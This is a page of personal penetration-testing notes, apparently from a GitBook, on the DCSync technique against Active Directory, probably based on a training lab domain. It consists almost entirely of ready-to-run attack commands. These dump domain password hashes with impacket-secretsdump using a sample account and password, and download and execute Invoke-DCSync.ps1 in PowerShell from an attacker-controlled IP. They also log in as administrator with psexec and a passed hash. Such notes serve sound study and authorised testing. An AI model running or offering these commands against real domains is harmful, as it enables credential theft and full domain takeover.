🤯
Hacker Mind
  • Penetration Testing Notes
    • 00 - Kali Linux Preparation
    • Page 1
    • Web Application (80/443)
      • XSS
      • LFI / Path Traversal
      • Wordpress
    • SMB (445)
    • LDAP
    • MSRPC (135)
    • MSSQL
    • Kerberos (88/tcp)
    • DNS (53)
    • IPv6
    • Import Nessus to Metasploit
  • STUCK? Look at this :D
  • Buffer Overflow
    • WinDbg
    • BoF Script Python
  • Active Directory Recon
    • Username Generation
    • PowerView
    • BloodHound
    • Flooding Attack
  • Payload
    • Sendemail
    • Phishing Payload
    • Bypass All The Things
      • AppLocker
      • MSBuild Shell
      • C# Runner
      • Payload Mod
      • Powershell
      • Bypass AV Linux
        • C Runner
  • Exploit
    • Brute Force
    • File Upload
    • Cracking
    • Shell & Stabilization
    • Database
    • MSSQL Injection
  • Tradecraft
    • Invoke-ReflectivePEInjection
  • Metasploit
    • Meterpreter Tricks
  • Privilege Escalation
    • Lateral Movement
    • Linux
    • Windows
  • Post Exploit
    • Active Directory
      • Kerberos
      • ACLs/ACEs
      • DCSync
      • Golden Ticket with krbtgt
      • LAPS
      • Page
      • Impersonate Token
    • Pivoting
      • Pivot in a Case
    • Transfer File
    • Exfiltration
    • Persistence
  • WiFi Pentesting
    • WPA-PSK
    • WPA-E (hostapd)
    • Attack WEP
    • Evil Twin - Wi-Fi
    • WPA3 Downgrade
  • Hardware Hacking
    • Information Gathering
  • Practice & Lab
Powered by GitBook
On this page
  • Secretsdump
  • Invoke-DCSync.ps1
  • Using Hash from DCSync
  1. Post Exploit
  2. Active Directory

DCSync

PreviousACLs/ACEsNextGolden Ticket with krbtgt

Last updated 6 months ago

Identification from bloodhound

Secretsdump

target IP is Domain Controller

impacket-secretsdump EGOSTISCAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@$IP

or specific user with -just-dc-user <username>

impacket-secretsdump EGOSTISCAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@$IP -just-dc-user Administrator

Invoke-DCSync.ps1

iex(new-object net.webclient).downloadstring('http://10.10.x.y/Invoke-DCSync.ps1'); Invoke-DCSync

Using Hash from DCSync

login using psexec and pass the hash

impacket-psexec egostical-bank.local/administrator@$IP -hashes 823452073d75b9d1cf70ebdf86c7f98e:823452073d75b9d1cf70ebdf86c7f98e

a

https://github.com/pentestfactory/Invoke-DCSync